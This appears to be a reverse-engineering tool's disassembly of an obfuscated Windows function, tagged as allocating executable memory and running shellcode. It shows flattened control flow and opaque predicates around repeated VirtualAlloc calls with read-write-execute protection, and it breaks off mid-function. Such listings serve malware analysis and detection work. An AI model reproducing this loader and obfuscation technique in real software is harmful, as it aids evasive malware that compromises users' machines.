Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rax, qword [0x1400053b8]
xor rax, rbp
mov qword [rbp], rax
mov ecx, dword [0x1400053e4]
mov eax, dword [0x1400053e8]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
not ecx
mov r8d, ecx
and r8d, 0xfffffffe
and edx, 0x1f79230f
and ecx, 0xe086dcf0
or ecx, edx
xor ecx, 0xe086dcf1
or ecx, r8d
mov edx, ecx
not edx
mov r8d, ecx
xor r8d, 0x9def246a
and r8d, ecx
or ecx, 0x6210db95
mov r9d, r8d
not r9d
mov r10d, ecx
and r10d, 0x84c37213
and edx, 0x192c0468
or edx, r10d
or ecx, r9d
and r9d, 0x84c37213
and r8d, 0x7b3c8dec
or r8d, r9d
xor r8d, edx
not ecx
or ecx, r8d
mov edx, ecx
xor edx, 0x20009880
xor ecx, 0x8021006a
and edx, 0x3dcebc80
and ecx, 0xc231437f
or ecx, edx
cmp ecx, 0xc231437f
sete byte [rbp - 1]
cmp eax, 0xa
setl byte [rbp - 2]
mov ecx, 0x373c8ba1
mov r13d, 0x2aab71d0
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, 0x64e2ef92
mov edi, 0x4dbf5018
mov r15d, 0xbbb1db73
mov r12d, 0x523c6340
mov r14d, 0xda66fac1
jmp 0x140001110
mov ecx, 0x5711b7b8
nop word cs:[rax + rax]
cmp ecx, 0x244eac59
jg 0x140001320
cmp ecx, 0xbc4012be
jg 0x140001400
cmp ecx, 0x9f8d31d2
jg 0x140001627
cmp ecx, 0x930b1a46
jg 0x1400017d7
cmp ecx, 0x80284c0c
je 0x140001d1a
cmp ecx, 0x811023cf
jne 0x140001110
mov eax, dword [0x1400053e4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xd36b4cdc
and eax, edx
and edx, 0x2c94b323
or edx, ecx
xor edx, 0x2c94b323
or edx, eax
mov r9d, edx
not r9d
mov eax, r9d
and eax, 0x3e428635
mov r8d, edx
and r8d, 0xc1bd79ca
or r8d, eax
mov ecx, r8d
xor ecx, 0xc1bd79ca
mov r10d, r8d
xor r10d, 0xec275ff3
and r10d, ecx
or r9d, 0xd265d9c6
mov eax, r10d
not eax
mov r11d, eax
and r11d, 0xadb1b765
and r10d, 0x524e489a
or r10d, r11d
or eax, r9d
and r9d, 0xadb1b765
and edx, 0xa0018
or edx, r9d
xor edx, r10d
not eax
or eax, edx
mov edx, eax
xor edx, 0x5022008
xor r8d, 0x20428405
and r8d, 0x20dfc585
mov r9d, ecx
and r9d, 0xdf203a7a
or r9d, r8d
mov r8d, r9d
xor r8d, 0x4a4080
and ecx, 1
or ecx, r8d
xor r9d, 0x10203060
and r9d, 0x30b5b564
and ecx, 0xcf4a4a9b
or ecx, r9d
mov r8d, ecx
xor r8d, 0x5024009
xor eax, 0xd265d9c7
xor ecx, 0x30b5b564
mov r9d, eax
and r9d, 0xead89fb2
and edx, 0x1527604d
or edx, r9d
or eax, ecx
and ecx, 0xead89fb2
and r8d, 0x1527604d
or r8d, ecx
xor r8d, edx
not eax
or eax, r8d
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x52c27e5f
and ecx, eax
and eax, 0xad3d81a0
or eax, edx
xor eax, 0xad3d81a0
or eax, ecx
sete dl
setne r8b
cmp dword [0x1400053e8], 0xa
setge al
setl r9b
lea r10d, [r8 + 1]
mov ecx, r8d
and cl, r10b
xor cl, 1
or cl, r10b
xor cl, 1
or cl, r8b
xor cl, r9b
xor dl, r9b
xor r9b, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov r8d, ecx
xor r8b, al
and r8b, cl
and al, cl
or al, dl
mov ecx, r8d
xor cl, al
test cl, 1
mov edx, 0x7e88d62e
mov r9d, 0x27b88c3e
cmovne edx, r9d
test al, 1
mov ecx, edx
cmovne ecx, r9d
jmp 0x140001b7a
cmp ecx, 0x523c633f
jle 0x140001590
cmp ecx, 0x68a2637e
jg 0x14000174d
cmp ecx, 0x64e2ef91
jg 0x1400018ae
cmp ecx, 0x523c6340
je 0x140001100
cmp ecx, 0x5711b7b8
jne 0x140001110
mov eax, dword [0x1400053e4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xe4aa1cee
mov r8d, ecx
and r8d, 0x1b55e311
or r8d, edx
mov edx, r8d
xor edx, 0x1b55e310
xor r8d, 0xe4aa1cef
and eax, r8d
and edx, ecx
or edx, eax
not edx
or edx, r8d
xor edx, 0xffffffff
sete al
setne cl
cmp dword [0x1400053e8], 0xa
setge dl
setl r8b
or cl, r8b
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, r8d
or cl, al
xor cl, 1
xor al, r8b
or al, cl
xor dl, 1
mov r8d, edx
or r8b, al
xor dl, al
mov eax, r8d
xor al, dl
test dl, dl
mov ecx, 0x523c6340
mov edx, 0x780b3900
cmovne ecx, edx
test r8b, r8b
cmovne ecx, r12d
test al, 1
cmove ecx, edx
jmp 0x140001110
cmp ecx, 0x1e30ff29
jle 0x14000177b
cmp ecx, 0x2058cbd3
jg 0x140001a18
cmp ecx, 0x1e30ff2a
je 0x140001e2d
cmp ecx, 0x1ff8d6de
jne 0x140001110
mov eax, 0x10
call fcn.1400027a0
sub rsp, rax
mov rax, rsp
mov ecx, dword [0x1400053e4]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
not ecx
mov r8d, ecx
and r8d, 0x7cb7d213
and ecx, edx
and edx, 0x83482dec
or edx, r8d
xor edx, 0x83482dec
or edx, ecx
mov r8d, edx
not r8d
mov ecx, r8d
or ecx, 1
and r8d, 0x6b3072c
mov r9d, edx
and r9d, 0xf94cf8d3
or r9d, r8d
mov r8d, r9d
xor r8d, 0x78045802
xor r9d, 0x6b3072d
mov r10d, ecx
and r10d, 0x8159a7d9
and edx, 0x7ea65826
or edx, r10d
or ecx, r9d
and r9d, 0x8159a7d9
and r8d, 0x7ea65826
or r8d, r9d
xor r8d, edx
not ecx
or ecx, r8d
mov edx, ecx
not edx
mov r8d, ecx
or r8d, 0x6010d275
mov r9d, edx
or r9d, 0x17440088
and r8d, 0x7754d2fd
and edx, 0x88822c02
or edx, r8d
and r9d, 0x7754d2fd
and ecx, 0x290100
or ecx, r9d
xor ecx, edx
mov edx, ecx
not edx
and edx, 0x6039d375
and ecx, 0x9fc62c8a
or ecx, edx
sete cl
setne r8b
cmp dword [0x1400053e8], 0xa
setge r9b
setl dl
and r8b, dl
mov r10d, r9d
xor r10b, cl
and r10b, r9b
and r9b, cl
or r9b, r8b
xor dl, cl
mov ecx, r10d
not cl
xor r10b, dl
not dl
or dl, cl
not dl
or dl, r10b
xor dl, r9b
and dl, 1
mov ecx, 0x360b58b6
cmovne ecx, edi
test dl, r9b
cmove ecx, edi
test dl, dl
mov r8d, 0x360b58b6
cmove ecx, r8d
test dl, r9b
mov qword [rbp - 0x10], rax
cmovne ecx, r8d
jmp 0x140001110
cmp ecx, 0x360b58b5
jle 0x1400017a9
cmp ecx, 0x4643f749
jg 0x140001b86
cmp ecx, 0x360b58b6
je 0x140001f64
cmp ecx, 0x373c8ba1
jne 0x140001110
movzx ecx, byte [rbp - 1]
movzx edx, byte [rbp - 2]
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov r8d, eax
xor r8b, dl
or al, dl
xor al, 1
or al, r8b
mov r8d, eax
and r8b, cl
or dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, r8b
mov r8d, edx
xor r8b, al
test dl, 1
mov ecx, 0x1e30ff2a
mov edx, 0x9f8d31d3
cmovne ecx, edx
test al, 1
cmove ecx, edx
test r8b, 1
mov eax, 0x1e30ff2a
cmove ecx, eax
jmp 0x140001110
cmp ecx, 0xb7cdebec
jg 0x140001ba8
cmp ecx, 0x9f8d31d3
je 0x1400020b6
cmp ecx, 0xa2ce1f01
jne 0x140001110
mov eax, dword [0x1400053e4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfe007ac5
mov r8d, ecx
xor r8d, 0xfe007ac5
and r8d, ecx
or r8d, edx
mov edx, r8d
xor edx, 0x1ff853b
xor r8d, 0x92004a04
mov r9d, edx
and r9d, 0x6df9b1eb
and r8d, 0x92064e14
or r8d, r9d
or edx, ecx
and ecx, 0x6df9b1eb
and eax, 0x92064e14
or eax, ecx
xor eax, r8d
not edx
or edx, eax
xor edx, 0x99ce41c7
xor edx, 0x6631be38
setne dl
sete r8b
cmp dword [0x1400053e8], 0xa
setl al
setge cl
lea r9d, [rcx + 1]
mov r10d, r8d
or r10b, al
xor al, r8b
and al, r10b
and dl, r9b
and cl, r8b
or cl, dl
or r9b, r8b
xor cl, 1
mov edx, ecx
xor dl, r9b
or cl, r9b
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, ecx
and dl, r8b
xor dl, 1
or dl, r8b
xor dl, 1
or dl, cl
xor dl, al
mov ecx, eax
xor cl, r8b
or r8b, al
xor r8b, 1
or r8b, cl
mov eax, edx
xor al, r8b
not al
test al, 1
mov eax, 0x80284c0c
mov ecx, 0x18198d70
cmovne eax, ecx
test r8b, 1
mov ecx, 0x80284c0c
cmovne ecx, eax
test dl, 1
cmovne ecx, eax
jmp 0x140001110
cmp ecx, 0x780b38ff
jg 0x140001be7
cmp ecx, 0x68a2637f
je 0x1400020c0
cmp ecx, 0x7122948a
jne 0x140001110
mov ecx, 0x2058cbd4
jmp 0x140001110
cmp ecx, 0xda66fac0
jle 0x140001c26
cmp ecx, 0xda66fac1
je 0x140002163
cmp ecx, 0x18198d70
jne 0x140001110
mov ecx, 0x80284c0c
jmp 0x140001110
cmp ecx, 0x244eac5a
je 0x1400022d6
cmp ecx, 0x27b88c3e
je 0x1400023a4
cmp ecx, 0x2aab71d0
jne 0x140001110
mov ecx, 0xc1ff0319
jmp 0x140001110
cmp ecx, 0x930b1a47
je 0x1400024bf
cmp ecx, 0x9938318c
jne 0x140001110
mov eax, dword [0x1400053e4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x86aeb04e
and edx, ecx
or ecx, 0x79514fb1
mov r8d, edx
not r8d
mov r9d, ecx
and r9d, 0xedb10d03
mov r10d, eax
and r10d, 0x20eb04c
or r10d, r9d
or ecx, r8d
and r8d, 0xedb10d03
and edx, 0x124ef2fc
or edx, r8d
xor edx, r10d
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x48400bb0
xor ecx, 0x26100b
and ecx, 0x3137540b
and edx, 0xcec8abf4
or edx, ecx
xor edx, 0xcec8abf4
or edx, eax
cmp edx, 0xffffffff
sete al
cmp dword [0x1400053e8], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor dl, 1
mov eax, ecx
or al, dl
xor dl, cl
mov r8d, eax
xor r8b, dl
test dl, dl
mov ecx, 0x2aab71d0
mov edx, 0xc1ff0319
cmovne ecx, edx
test al, al
cmovne ecx, r13d
jmp 0x140001e22
cmp ecx, 0x64e2ef92
je 0x1400025c1
cmp ecx, 0x6848ace0
jne 0x140001110
mov ecx, dword [0x1400053e4]
lea eax, [rcx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov r8d, edx
not r8d
mov r9d, eax
and r9d, 0xbd4278e5
and ecx, 0x42bd871a
or ecx, r9d
or eax, r8d
and r8d, 0xbd4278e5
and edx, 0x42bd871a
or edx, r8d
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov r8d, eax
xor r8d, 0x9f099091
and r8d, edx
mov ecx, eax
and ecx, 0x60f66f6e
or ecx, r8d
mov r8d, ecx
xor r8d, 0x80050a
or edx, 1
xor ecx, 0x9f099090
mov r9d, ecx
and r9d, 0xeb7e7ae5
and r8d, 0x1481851a
or r8d, r9d
or ecx, edx
and edx, 0xeb7e7ae5
and eax, 0x1481851a
or eax, edx
xor eax, r8d
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
or edx, 0x488b9442
mov r8d, ecx
or r8d, 0x82606001
and r8d, 0xcaebf443
and eax, 0x24040b80
or eax, r8d
and edx, 0xcaebf443
and ecx, 0x1110003c
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, 0x12600035
xor ecx, 0x288313c2
and ecx, 0xa99373ca
and eax, 0x566c8c35
or eax, ecx
xor eax, 0xa99373ca
sete al
setne cl
cmp dword [0x1400053e8], 0xa
setl dl
setge r8b
or al, r8b
or r8b, cl
or dl, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, 1
mov edx, r8d
or dl, al
xor al, r8b
mov ecx, edx
xor cl, al
test cl, 1
mov r8d, 0x2447cad4
mov ecx, 0x68a2637f
cmovne r8d, ecx
test al, al
mov ecx, r8d
mov eax, 0x2447cad4
cmovne ecx, eax
test dl, 1
cmovne ecx, r8d
jmp 0x140001110
cmp ecx, 0x2058cbd4
je 0x1400025cb
cmp ecx, 0x2447cad4
jne 0x140001110
mov ecx, dword [0x1400053e4]
lea eax, [rcx + 1]
imul eax, ecx
mov edx, eax
not edx
mov r8d, edx
and r8d, 0x2009220
mov ecx, eax
and ecx, 0x24000100
or ecx, r8d
mov r8d, ecx
xor r8d, 0x4000000
xor ecx, 0xdbfffeff
mov r9d, eax
xor r9d, 0x26009320
and r9d, eax
mov r10d, r9d
not r10d
mov r11d, ecx
and r11d, 0xe01fe9b4
and r8d, 0x6001200
or r8d, r11d
or ecx, r10d
and r10d, 0xe01fe9b4
and r9d, 0x1fe0164b
or r9d, r10d
xor r9d, r8d
not ecx
or ecx, r9d
mov r8d, ecx
xor r8d, 0xc9e62056
and edx, 0xa40e8788
and eax, 0x5bf17877
or eax, edx
mov edx, eax
xor edx, 0x4be02076
xor ecx, 0x26009321
mov r9d, ecx
and r9d, 0x1019dd89
and r8d, 0xefe62276
or r8d, r9d
xor eax, 0x88588
and eax, 0x1019dd89
and edx, 0xefe62276
or edx, eax
xor edx, r8d
xor ecx, edx
test ecx, edx
sete al
setne r8b
cmp dword [0x1400053e8], 0xa
setge dl
setl cl
or r8b, cl
mov r9d, edx
xor r9b, al
and r9b, dl
or dl, al
mov r10d, edx
xor r10b, r8b
or dl, r8b
xor dl, 1
or dl, r10b
xor cl, al
or cl, r9b
mov eax, ecx
not al
and al, cl
xor al, 1
mov r8d, ecx
xor r8b, al
or al, cl
xor al, 1
or al, r8b
mov r8d, edx
xor r8b, dl
xor r8b, 1
and r8b, al
xor r8b, dl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, r8b
test cl, 1
mov edx, 0x4643f74a
cmovne edx, r15d
test al, 1
mov ecx, 0x4643f74a
cmovne ecx, edx
test r8b, 1
cmove ecx, edx
jmp 0x140001110
cmp ecx, 0x4643f74a
je 0x1400025d9
cmp ecx, 0x4dbf5018
jne 0x140001110
mov ecx, 0x1ff8d6de
jmp 0x140001110
cmp ecx, 0xb7cdebed
je 0x14000270b
cmp ecx, 0xbbb1db73
jne 0x140001110
sub rsp, 0x20
mov edx, 0x3a9
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call rbx
add rsp, 0x20
mov ecx, 0x4643f74a
jmp 0x140001110
cmp ecx, 0x780b3900
je 0x140002715
cmp ecx, 0x7e88d62e
jne 0x140001110
sub rsp, 0x20
mov edx, 0x3a9
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call rbx
add rsp, 0x20
mov ecx, 0x27b88c3e
jmp 0x140001110
cmp ecx, 0xc1ff0319
jne 0x14000271f
mov eax, dword [0x1400053e4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xa904b3c6
and edx, ecx
not ecx
or eax, 0x56fb4c39
mov r8d, edx
not r8d
mov r9d, eax
and r9d, 0xa1438966
mov r10d, ecx
and r10d, 0x8043280
or r10d, r9d
or eax, r8d
and r8d, 0xa1438966
and edx, 0x5ebc7699
or edx, r8d
xor edx, r10d
not eax
or eax, edx
xor eax, 0xa904b3c7
or eax, ecx
cmp eax, 0xffffffff
setne r8b
cmp dword [0x1400053e8], 0xa
setl dl
setge al
mov ecx, eax
xor cl, r8b
mov r9d, ecx
and r9b, r8b
and cl, al
mov r10d, r9d
xor r10b, 1
xor r9b, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, r9b
and dl, r8b
lea r9d, [r8 + 1]
and r9b, al
and al, r8b
or al, dl
or al, r9b
mov edx, eax
xor dl, 1
xor al, dl
and al, cl
xor al, dl
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, al
test dl, 1
mov ecx, 0xb7cdebed
cmovne ecx, r13d
test al, 1
cmove ecx, r13d
test r8b, 1
mov eax, 0xb7cdebed
cmove ecx, eax
jmp 0x140001110
mov eax, dword [0x1400053e4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x22617b42
xor ecx, 0x95d20183
and ecx, eax
mov r8d, eax
and r8d, 0xdd9e84bd
or r8d, edx
mov eax, r8d
xor eax, 0xdd9e84bd
xor r8d, 0x2406a02
mov edx, eax
and edx, 0x6a2dfe7c
or edx, ecx
not ecx
and ecx, 0x95d20182
and edx, 0x6a2dfe7d
or edx, ecx
and r8d, 0x124aea0a
mov ecx, eax
and ecx, 0xedb515f5
or ecx, r8d
xor ecx, 0x124aea0b
and eax, 1
or eax, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x123cfb6a
and ecx, 0xedc30495
or ecx, eax
mov eax, ecx
xor eax, 0x84800484
xor ecx, 0x21c5068
and ecx, 0x6b5f5079
and eax, 0x94a0af86
or eax, ecx
xor eax, 0x94a0af86
sete cl
setne dl
cmp dword [0x1400053e8], 0xa
setl al
setge r8b
mov r9d, eax
or r9b, cl
and cl, r8b
xor r8b, dl
xor r9b, 1
or r9b, r8b
mov r8d, r9d
xor r8b, 1
and al, dl
or al, cl
mov ecx, r9d
and cl, al
xor al, 1
and r8b, al
or r8b, cl
or al, r9b
mov ecx, eax
xor cl, r8b
test cl, 1
mov edx, 0x9938318c
mov ecx, 0x18198d70
cmovne edx, ecx
test al, al
mov ecx, 0x9938318c
cmovne ecx, edx
test r8b, r8b
cmove ecx, edx
jmp 0x140001110
mov ecx, dword [0x1400053e4]
lea eax, [rcx + 1]
imul eax, ecx
mov r8d, eax
not r8d
mov ecx, r8d
or ecx, 0xd0200500
mov edx, eax
or edx, 0xc85f879
and ecx, 0xdca5fd79
mov r9d, eax
and r9d, 0x21020204
or r9d, ecx
and edx, 0xdca5fd79
mov ecx, r8d
and ecx, 0x2580082
or ecx, edx
xor ecx, r9d
mov edx, ecx
xor edx, 0xd2780583
or eax, 1
and r8d, 0x2dfafe16
and eax, 0xd20501e9
or eax, r8d
mov r8d, eax
xor r8d, 0x50040028
xor ecx, 0x2d87fa7c
xor eax, 0x2dfafe16
mov r9d, ecx
and r9d, 0x8aa9fdc7
and edx, 0x75560238
or edx, r9d
or ecx, eax
and eax, 0x8aa9fdc7
and r8d, 0x75560238
or r8d, eax
xor r8d, edx
not ecx
or ecx, r8d
xor ecx, 0x4dd18dd2
xor ecx, 0xb22e722d
sete dl
setne al
cmp dword [0x1400053e8], 0xa
setge r8b
setl r9b
xor r9b, al
mov ecx, r9d
xor cl, r8b
and cl, r9b
xor al, r8b
and al, dl
or r8b, dl
xor al, 1
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov r8d, eax
xor r8b, dl
or al, dl
xor al, 1
or al, r8b
mov r8d, eax
xor al, 1
and al, cl
xor cl, 1
and r8b, cl
or al, r8b
or dl, cl
mov r8d, edx
xor r8b, al
test dl, 1
mov ecx, 0x1ff8d6de
cmovne ecx, edi
test al, al
cmove ecx, edi
test r8b, 1
mov eax, 0x1ff8d6de
cmove ecx, eax
jmp 0x140001110
mov eax, dword [0x1400053e4]
lea r9d, [rax + 1]
imul r9d, eax
mov r8d, r9d
not r8d
mov eax, r9d
and eax, 0x7726e447
mov edx, r8d
and edx, 0x88d91bb8
or edx, eax
mov ecx, edx
xor ecx, 0x88d91bb8
mov r10d, edx
xor r10d, 0x6c3c5b47
and r10d, ecx
or r9d, 0x1b1abf00
mov eax, r10d
not eax
mov r11d, eax
and r11d, 0x522e33d9
and r10d, 0xadd1cc26
or r10d, r11d
or eax, r9d
and r9d, 0x522e33d9
and r8d, 0xa4c14026
or r8d, r9d
xor r8d, r10d
not eax
or eax, r8d
mov r8d, eax
xor r8d, 0xe4e540fe
or ecx, 1
xor edx, 0x44220444
and edx, 0xcc330fc4
and ecx, 0x33ccf03b
or ecx, edx
mov edx, ecx
xor edx, 0x12405030
xor ecx, 0xcc330fc4
xor eax, 0x1b1abf01
mov r9d, eax
and r9d, 0xa1acab0f
and r8d, 0x5e5354f0
or r8d, r9d
or eax, ecx
and ecx, 0xa1acab0f
and edx, 0x5e5354f0
or edx, ecx
xor edx, r8d
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x59e4fcd6
and ecx, 0xa61b0329
or ecx, eax
xor ecx, 0x59e4fcd6
sete al
setne cl
cmp dword [0x1400053e8], 0xa
setl dl
setge r8b
or al, r8b
or r8b, cl
or dl, cl
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
and al, r8b
xor r8b, 1
xor cl, 1
mov edx, r8d
xor dl, cl
and dl, r8b
and cl, r8b
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x9f8d31d3
mov r8d, 0x7122948a
cmovne eax, r8d
test cl, cl
mov ecx, eax
cmovne ecx, r8d
test dl, dl
cmove ecx, eax
jmp 0x140001110
mov ecx, 0x1e30ff2a
jmp 0x140001110
mov eax, dword [0x1400053e4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
and edx, eax
and ecx, 0x83eaeaee
and eax, 0x7c151511
or eax, ecx
xor eax, 0x7c151510
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xa010829
and eax, 0xc108c404
or eax, edx
xor eax, 0xc108c404
and ecx, 0x34f633d2
or ecx, eax
xor ecx, 0xcb45ef
xor ecx, 0xcb45ef
sete al
setne cl
cmp dword [0x1400053e8], 0xa
setge dl
setl r8b
mov r9d, edx
xor dl, cl
and cl, r8b
and r9b, al
or r9b, cl
or r8b, al
xor r8b, 1
or dl, r8b
xor dl, r9b
mov ecx, 0xda66fac1
cmovne ecx, esi
test dl, r9b
cmove ecx, esi
cmovne ecx, r14d
test dl, dl
cmove ecx, r14d
jmp 0x140001110
mov ecx, dword [0x1400053e4]
lea eax, [rcx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 1
mov r8d, eax
or r8d, 1
xor eax, 0xfffffffe
mov r9d, eax
and r9d, 0x92e744d8
and edx, 0x6d18bb27
or edx, r9d
or eax, r8d
and r8d, 0x92e744d8
and ecx, 0x6d18bb26
or ecx, r8d
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xe9978ed4
and ecx, eax
mov r8d, eax
or r8d, 0x12005002
mov r9d, ecx
not r9d
and r8d, 0xfa855e16
and edx, 0x11280c0
or edx, r8d
or eax, r9d
and r9d, 0xfa855e16
and ecx, 0x57aa1e9
or ecx, r9d
xor ecx, edx
not eax
or eax, ecx
not ecx
and ecx, 0x1668712b
and eax, 0xe9978ed4
or eax, ecx
xor eax, 0x615101a2
xor eax, 0x615101a2
setne r8b
sete r9b
cmp dword [0x1400053e8], 0xa
setl al
setge dl
lea r10d, [rdx + 1]
mov ecx, edx
and cl, r10b
xor cl, 1
mov r11d, ecx
xor r11b, r10b
or cl, r10b
xor cl, 1
or cl, r11b
mov r10d, ecx
and cl, r9b
and r9b, dl
and al, r8b
or al, r9b
xor r10b, 1
and r10b, r8b
or cl, r10b
mov r9d, edx
xor r9b, r8b
or dl, r8b
xor dl, 1
or dl, r9b
xor cl, 1
mov r8d, ecx
xor r8b, dl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
mov r9d, eax
xor r9b, 1
mov r8d, edx
and r8b, cl
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, dl
and r9b, r8b
xor r8b, 1
and r8b, al
or r8b, r9b
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, r8b
test dl, 1
mov ecx, 0x811023cf
cmovne ecx, esi
test r8b, r8b
cmove ecx, esi
not al
test al, 1
mov eax, 0x811023cf
cmovne ecx, eax
jmp 0x140001110
mov ecx, dword [0x1400053e4]
lea eax, [rcx + 1]
imul eax, ecx
mov edx, eax
not edx
mov r8d, edx
and r8d, 0xfffffffe
mov ecx, eax
and ecx, 1
or ecx, r8d
and edx, 0x5e6fadb3
and eax, 0xa190524c
or eax, edx
mov edx, eax
xor edx, 0x8110120c
mov r8d, ecx
not r8d
mov r9d, r8d
and r9d, 0x32e6ccc3
and ecx, 0xcd19333c
or ecx, r9d
xor eax, 0x12668c83
and eax, 0x32e6ccc3
and edx, 0xcd19333c
or edx, eax
xor edx, ecx
not edx
or edx, r8d
xor edx, 0xffffffff
sete cl
setne dl
cmp dword [0x1400053e8], 0xa
setl al
setge r8b
and dl, r8b
mov r9d, eax
and r9b, cl
or r9b, dl
xor r8b, r9b
and r8b, r9b
xor al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, r8b
xor r8b, 1
and al, r8b
or al, dl
or r8b, cl
mov edx, r8d
xor dl, al
test r8b, r8b
mov ecx, 0x5711b7b8
cmovne ecx, r12d
test al, al
cmove ecx, r12d
test dl, 1
mov eax, 0x5711b7b8
cmove ecx, eax
jmp 0x140001110
sub rsp, 0x20
mov edx, 0x3a9
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call rbx
add rsp, 0x20
mov ecx, dword [0x1400053e4]
lea eax, [rcx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x31ff25b4
mov r8d, eax
or r8d, 1
and r8d, 0x31ff25b5
mov r9d, ecx
and r9d, 0xce00da4a
or r9d, r8d
and edx, 0x31ff25b5
xor edx, r9d
not edx
and ecx, 0x64f60f5
and eax, 0xf9b09f0a
or eax, ecx
xor eax, 0xf9b09f0a
or eax, edx
xor eax, 0x1edf01a6
xor eax, 0xe120fe59
sete dl
setne r8b
cmp dword [0x1400053e8], 0xa
setge r9b
lea ecx, [r9 + 1]
mov eax, ecx
and al, r9b
xor al, 1
mov r10d, eax
xor r10b, cl
or al, cl
xor al, 1
or al, r10b
xor al, r8b
mov r8d, r9d
xor r8b, dl
and r8b, r9b
xor cl, dl
mov edx, r8d
xor dl, 1
xor r8b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
mov r8d, edx
and r8b, cl
xor dl, r8b
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, dl
mov edx, eax
xor dl, r8b
or r8b, al
xor r8b, 1
or r8b, dl
mov eax, r8d
xor al, dl
test al, 1
mov eax, 0x244eac5a
mov ecx, 0x7e88d62e
cmovne eax, ecx
test r8b, 1
mov ecx, 0x244eac5a
cmovne ecx, eax
test dl, 1
cmove ecx, eax
jmp 0x140001110
mov ecx, dword [0x1400053e4]
lea eax, [rcx + 1]
imul eax, ecx
mov edx, eax
not edx
mov r8d, edx
and r8d, 0x434622d8
mov ecx, eax
and ecx, 0xbcb9dd27
or ecx, r8d
mov r8d, ecx
xor r8d, 0x8a05802
and edx, 0x6857ba94
and eax, 0x97a8456b
or eax, edx
mov edx, eax
xor edx, 0x1a0400a
xor ecx, 0x434622d9
mov r9d, ecx
and r9d, 0xb61da765
and r8d, 0x49e2589a
or r8d, r9d
xor eax, 0x2015a204
and eax, 0xb61da765
and edx, 0x49e2589a
or edx, eax
xor edx, r8d
xor ecx, edx
test ecx, edx
sete dl
cmp dword [0x1400053e8], 0xa
setl cl
mov r8d, edx
xor r8b, cl
mov eax, r8d
and al, cl
or cl, dl
xor cl, 1
or cl, r8b
and r8b, dl
xor r8b, 1
xor al, 1
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
mov r8d, edx
and r8b, cl
xor dl, r8b
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, dl
xor r8b, 1
xor al, 1
mov edx, eax
or dl, r8b
xor al, r8b
mov r8d, eax
xor r8b, dl
test al, 1
mov ecx, 0x68a2637f
mov eax, 0xa2ce1f01
cmovne ecx, eax
test dl, 1
mov edx, 0x68a2637f
cmovne ecx, edx
test r8b, 1
cmove ecx, eax
jmp 0x140001110
mov ecx, 0xda66fac1
jmp 0x140001110
mov rax, qword [rbp - 0x10]
mov ecx, 0x6848ace0
jmp 0x140001110
sub rsp, 0x20
mov edx, 0x3a9
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call rbx
add rsp, 0x20
mov edx, dword [0x1400053e4]
lea ecx, [rdx + 1]
imul ecx, edx
mov edx, ecx
not edx
mov r9d, edx
